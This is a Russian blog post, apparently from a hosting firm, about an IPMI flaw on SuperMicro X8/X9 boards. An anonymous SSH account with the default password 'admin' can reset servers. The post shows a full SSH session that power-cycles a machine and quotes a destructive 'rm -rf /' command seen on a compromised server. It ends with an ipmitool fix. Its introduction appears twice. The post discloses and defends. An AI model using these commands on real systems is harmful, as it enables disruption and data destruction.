Приветствуем вас уважаемые Хабровчане!
Мы команда GlobaTel отныне будем стараться радовать вас информативными статьями в области хостинга и Дата-Центров, а так же иногда публиковать наши достижения сугубо с технической точки зрения.
Сегодня мне хотелось бы начать с простой, но очень важной статьи о том, как мы наткнулись на вопиющую дыру в IPMI.
Один из наших клиентов пожаловался, что новенький сервер c xeon E3 от известного российского бренда очень часто перезагружается. Зайдя на IPMI сервера мы увидели активно набирающуюся команду
Сразу скажу, что мы решили эту проблему заблокировав все IPMI IP. Доступ теперь к ним выдается только для IP клиентов по предварительной заявке.
Проблема закрыта в версии shell 1.00.
Покажем часть трюков (перезагрузка сервера), которые можно проворачивать. Возможность подключаться к IPMI по SSH известна далеко не всем. Именно эта возможность и позволяет перезагрузить сервер. Оказывается, через веб-интерфейс вы не можете сменить пароль для anonymouse, у которого стандартный пароль admin и который почему-то через SSH может перезагружать машину.
Вот листинг команд при подключении к IPMI через SSH:
Пингуем сервер:
Как видите — пинга нет, сервер перезагружается.
Дополнение — проблема относится к версии IPMI 2.0 (не bios) 1.00 для материнских плат SuperMicro серии X8 и X9 и двупроцессорных плат для процессоров серии Xeon 56xx
Выключение пользователя anonymouse нужно производить через ipmitool.
Листинг для установки на Linux:
Команда для отключения anonymouse:
Мы команда GlobaTel отныне будем стараться радовать вас информативными статьями в области хостинга и Дата-Центров, а так же иногда публиковать наши достижения сугубо с технической точки зрения.
Сегодня мне хотелось бы начать с простой, но очень важной статьи о том, как мы наткнулись на вопиющую дыру в IPMI.
Один из наших клиентов пожаловался, что новенький сервер c xeon E3 от известного российского бренда очень часто перезагружается. Зайдя на IPMI сервера мы увидели активно набирающуюся команду
rm -rf /
. Кто такое видел — тот поймет. Выдернули сетевой шнур — пошли с нетбуком настраивать сервер и разбираться что к чему.Сразу скажу, что мы решили эту проблему заблокировав все IPMI IP. Доступ теперь к ним выдается только для IP клиентов по предварительной заявке.
Проблема закрыта в версии shell 1.00.
Покажем часть трюков (перезагрузка сервера), которые можно проворачивать. Возможность подключаться к IPMI по SSH известна далеко не всем. Именно эта возможность и позволяет перезагрузить сервер. Оказывается, через веб-интерфейс вы не можете сменить пароль для anonymouse, у которого стандартный пароль admin и который почему-то через SSH может перезагружать машину.
Вот листинг команд при подключении к IPMI через SSH:
Password of anonymous: admin
# ssh -o PreferredAuthentications=password,keyboard-interactive -l "" IPMI
@IPMI's password:
Auth User/Pass with PS...pass.
ATEN SMASH-CLP System Management Shell, version 1.00
Copyright (c) 2008-2009 by ATEN International CO., Ltd.
All Rights Reserved
-> show
/
Targets :
system1
Properties :
None
Verbs :
cd
show
help
version
exit
-> cd system1
/system1
-> show /system1/pwrmgtsvc1
/system1/pwrmgtsvc1
Targets :
none
Properties :
Name=IPMI Power Service
CreationClassName=IPMI_PowerManagementService
ElementName=Server Power Management Service
EnabledState=5
RequestedState=12
EnabledDefault=2
PowerState=1
Verbs :
cd
show
help
version
exit
start
stop
reset
-> reset /system1/pwrmgtsvc1
/system1/pwrmgtsvc1
reset done...
Пингуем сервер:
ping IpOfServer
Pinging IpOfServer with 32 bytes of data:
Reply from IpOfServer: Destination host unreachable.
Reply from IpOfServer: Destination host unreachable.
Reply from IpOfServer: Destination host unreachable.
Reply from IpOfServer: Destination host unreachable.
Ping statistics for IpOfServer:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Как видите — пинга нет, сервер перезагружается.
Дополнение — проблема относится к версии IPMI 2.0 (не bios) 1.00 для материнских плат SuperMicro серии X8 и X9 и двупроцессорных плат для процессоров серии Xeon 56xx
Выключение пользователя anonymouse нужно производить через ipmitool.
Листинг для установки на Linux:
wget ftp.supermicro.com/utility/IPMICFG/Linux/IPMICFG-Linux_v1.41.zip
unzip IPMICFG-Linux_v1.41.zip
cd IPMICFG-Linux_v1.41_110706/
chmod 755 *
Команда для отключения anonymouse:
ipmitool user disable 1